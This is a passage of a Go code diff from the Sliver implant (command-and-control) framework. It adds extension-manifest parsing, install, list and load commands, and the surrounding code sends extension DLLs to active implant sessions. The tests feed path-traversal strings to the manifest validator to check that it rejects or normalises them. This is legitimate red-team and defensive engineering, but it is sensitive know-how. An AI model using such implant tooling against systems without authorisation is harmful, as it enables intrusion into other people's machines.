"name": "test2",
|
||||
"command_name": "test2",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "../../../../foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseExtensionManifest(t *testing.T) {
|
||||
extManifest, err := ParseExtensionManifest([]byte(sample1))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing extension manifest: %s", err)
|
||||
}
|
||||
if extManifest.Name != "test1" {
|
||||
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
|
||||
}
|
||||
if extManifest.CommandName != "test1" {
|
||||
t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
|
||||
}
|
||||
if extManifest.Version != "1.0.0" {
|
||||
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
|
||||
}
|
||||
if extManifest.ExtensionAuthor != "test" {
|
||||
t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
|
||||
}
|
||||
if extManifest.OriginalAuthor != "test" {
|
||||
t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
|
||||
}
|
||||
if extManifest.RepoURL != "https://example.com/" {
|
||||
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
|
||||
}
|
||||
if extManifest.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
|
||||
}
|
||||
if len(extManifest.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
|
||||
}
|
||||
if extManifest.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
|
||||
}
|
||||
if extManifest.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
|
||||
}
|
||||
if extManifest.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
|
||||
}
|
||||
|
||||
extManifest2, err := ParseExtensionManifest([]byte(sample2))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing extension manifest (2): %s", err)
|
||||
}
|
||||
if extManifest2.Name != "test2" {
|
||||
t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
|
||||
}
|
||||
if extManifest2.CommandName != "test2" {
|
||||
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
|
||||
}
|
||||
if extManifest2.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
|
||||
}
|
||||
if len(extManifest2.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
|
||||
}
|
||||
if extManifest2.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
|
||||
}
|
||||
if extManifest2.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
|
||||
}
|
||||
if extManifest2.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
|
||||
}
|
||||
}
|
||||
|
||||
const (
|
||||
sample3 = `{
|
||||
"name": "test3",
|
||||
"command_name": "test3",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
sample3, err := ParseExtensionManifest([]byte(sample3))
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to parse initial sample3: %s", err)
|
||||
}
|
||||
|
||||
missingName := (*sample3)
|
||||
missingName.Name = ""
|
||||
data, _ := json.Marshal(missingName)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing name error, got none")
|
||||
}
|
||||
|
||||
missingCmdName := (*sample3)
|
||||
missingCmdName.CommandName = ""
|
||||
data, _ = json.Marshal(missingCmdName)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing command name error, got none")
|
||||
}
|
||||
|
||||
missingHelp := (*sample3)
|
||||
missingHelp.Help = ""
|
||||
data, _ = json.Marshal(missingHelp)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing help error, got none")
|
||||
}
|
||||
|
||||
missingFiles := (*sample3)
|
||||
missingFiles.Files = []*extensionFile{}
|
||||
data, _ = json.Marshal(missingFiles)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files error, got none")
|
||||
}
|
||||
|
||||
missingFileOS := (*sample3)
|
||||
missingFileOS.Files = []*extensionFile{
|
||||
{
|
||||
OS: "",
|
||||
Arch: "amd64",
|
||||
Path: "foo/test1.dll",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFileOS)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.os error, got none")
|
||||
}
|
||||
|
||||
missingFileArch := (*sample3)
|
||||
missingFileArch.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "",
|
||||
Path: "foo/test1.dll",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFileArch)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.arch error, got none")
|
||||
}
|
||||
|
||||
missingFilePath := (*sample3)
|
||||
missingFilePath.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Path: "",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFilePath)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.path error, got none")
|
||||
}
|
||||
|
||||
invalidPaths := []string{
|
||||
"../../../../../",
|
||||
"/../../../../..",
|
||||
".",
|
||||
"/",
|
||||
}
|
||||
for _, invalidPath := range invalidPaths {
|
||||
missingFilePath2 := (*sample3)
|
||||
missingFilePath2.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Path: invalidPath,
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFilePath2)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.path error, got none")
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsInstallCmd - Install an extension
|
||||
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
extLocalPath := ctx.Args.String("path")
|
||||
fi, err := os.Stat(extLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFilePath(extLocalPath, false, con)
|
||||
} else {
|
||||
installFromDir(extLocalPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating extension directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// InstallFromFilePath - Install an extension from a .tar.gz file
|
||||
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
|
||||
return nil
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
con.Printf("done!\n")
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
err := os.MkdirAll(artifactDir, 0o700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsListCmd - List all extension loaded on the active session/beacon
|
||||
func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
+135
-106
@@ -1,5 +1,23 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
@@ -12,38 +30,45 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
ManifestFileName = "extension.json"
|
||||
)
|
||||
|
||||
var commandMap map[string]extensionCommand
|
||||
var loadedExtensions = map[string]*ExtensionManifest{}
|
||||
|
||||
type extensionCommand struct {
|
||||
Name string `json:"name"`
|
||||
Help string `json:"help"`
|
||||
Files []extensionFiles `json:"extFiles"`
|
||||
Arguments []extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"dependsOn"`
|
||||
Init string `json:"init"`
|
||||
Path string
|
||||
}
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
type ExtensionManifest struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
Version string `json:"version"`
|
||||
ExtensionAuthor string `json:"extension_author"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
Init string `json:"init"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
}
|
||||
|
||||
type extensionFiles struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
type extensionFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
type extensionArgument struct {
|
||||
@@ -53,66 +78,98 @@ type extensionArgument struct {
|
||||
Optional bool `json:"optional"`
|
||||
}
|
||||
|
||||
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, ef := range e.Files {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "386":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
|
||||
case "amd64":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
}
|
||||
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range e.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
|
||||
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
|
||||
return "", err
|
||||
}
|
||||
return
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
err = fmt.Errorf("extension file not found: %s", filePath)
|
||||
return "", err
|
||||
}
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// ExtensionLoadCmd - Load extension command
|
||||
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
extCmds, err := ParseExtensions(dirPath)
|
||||
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
if CmdExists(extCmd.CommandName, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
return
|
||||
}
|
||||
ExtensionRegisterCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
}
|
||||
|
||||
for _, extCmd := range extCmds {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
continue
|
||||
// ParseExtensions - Parse extension files
|
||||
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extManifest, err := ParseExtensionManifest(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extManifest.RootPath = filepath.Dir(manifestPath)
|
||||
loadedExtensions[extManifest.CommandName] = extManifest
|
||||
return extManifest, nil
|
||||
}
|
||||
|
||||
// ParseExtensionManifest - Parse extension manifest from buffer
|
||||
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
extManifest := &ExtensionManifest{}
|
||||
err := json.Unmarshal(data, &extManifest)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if extManifest.Name == "" {
|
||||
return nil, errors.New("missing `name` field in extension manifest")
|
||||
}
|
||||
if extManifest.CommandName == "" {
|
||||
return nil, errors.New("missing `command_name` field in extension manifest")
|
||||
}
|
||||
if len(extManifest.Files) == 0 {
|
||||
return nil, errors.New("missing `files` field in extension manifest")
|
||||
}
|
||||
for _, extFiles := range extManifest.Files {
|
||||
if extFiles.OS == "" {
|
||||
return nil, errors.New("missing `files.os` field in extension manifest")
|
||||
}
|
||||
RegisterExtensionCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
if extFiles.Arch == "" {
|
||||
return nil, errors.New("missing `files.arch` field in extension manifest")
|
||||
}
|
||||
extFiles.Path = util.ResolvePath(extFiles.Path)
|
||||
if extFiles.Path == "" || extFiles.Path == "/" {
|
||||
return nil, errors.New("missing `files.path` field in extension manifest")
|
||||
}
|
||||
extFiles.OS = strings.ToLower(extFiles.OS)
|
||||
extFiles.Arch = strings.ToLower(extFiles.Arch)
|
||||
}
|
||||
if extManifest.Help == "" {
|
||||
return nil, errors.New("missing `help` field in extension manifest")
|
||||
}
|
||||
return extManifest, nil
|
||||
}
|
||||
|
||||
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
|
||||
manifestPath := filepath.Join(extPath, "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensionsCmds := make([]*extensionCommand, 0)
|
||||
err = json.Unmarshal(jsonBytes, &extensionsCmds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, extCmd := range extensionsCmds {
|
||||
extCmd.Path = extPath
|
||||
commandMap[extCmd.Name] = *extCmd
|
||||
}
|
||||
return extensionsCmds, nil
|
||||
}
|
||||
|
||||
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
|
||||
commandMap[extCmd.Name] = *extCmd
|
||||
// ExtensionRegisterCommand - Register a new extension command
|
||||
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
helpMsg := extCmd.Help
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Name: extCmd.CommandName,
|
||||
Help: helpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -155,33 +212,7 @@ func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConso
|
||||
con.App.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
|
||||
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
@@ -193,7 +224,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
@@ -240,16 +271,16 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
|
||||
SessionID: session.ID,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
|
||||
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.Name,
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: session.OS,
|
||||
Init: ext.Init,
|
||||
@@ -265,9 +296,9 @@ func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand,
|
||||
}
|
||||
|
||||
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
|
||||
depExt, f := commandMap[depName]
|
||||
depExt, f := loadedExtensions[depName]
|
||||
if f {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -275,7 +306,7 @@ func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *g
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return registerExtension(con, &depExt, depBinData, session, ctx)
|
||||
return registerExtension(con, depExt, depBinData, session, ctx)
|
||||
}
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
@@ -293,13 +324,13 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
ext, ok := loadedExtensions[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
if err = loadExtension(ctx, session, con, &ext); err != nil {
|
||||
if err = loadExtension(ctx, session, con, ext); err != nil {
|
||||
con.PrintErrorf("Could not load extension: %s\n", err)
|
||||
return
|
||||
}
|
||||
@@ -334,12 +365,12 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
extName = ext.DependsOn
|
||||
entryPoint = commandMap[extName].Entrypoint // should exist at this point
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
extensionArgs = []byte(extArgs)
|
||||
extName = ext.Name
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
@@ -354,11 +385,11 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
|
||||
con.PrintErrorf("%s\n", callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
@@ -368,10 +399,11 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
outFilePath.Write(callExtension.Output)
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
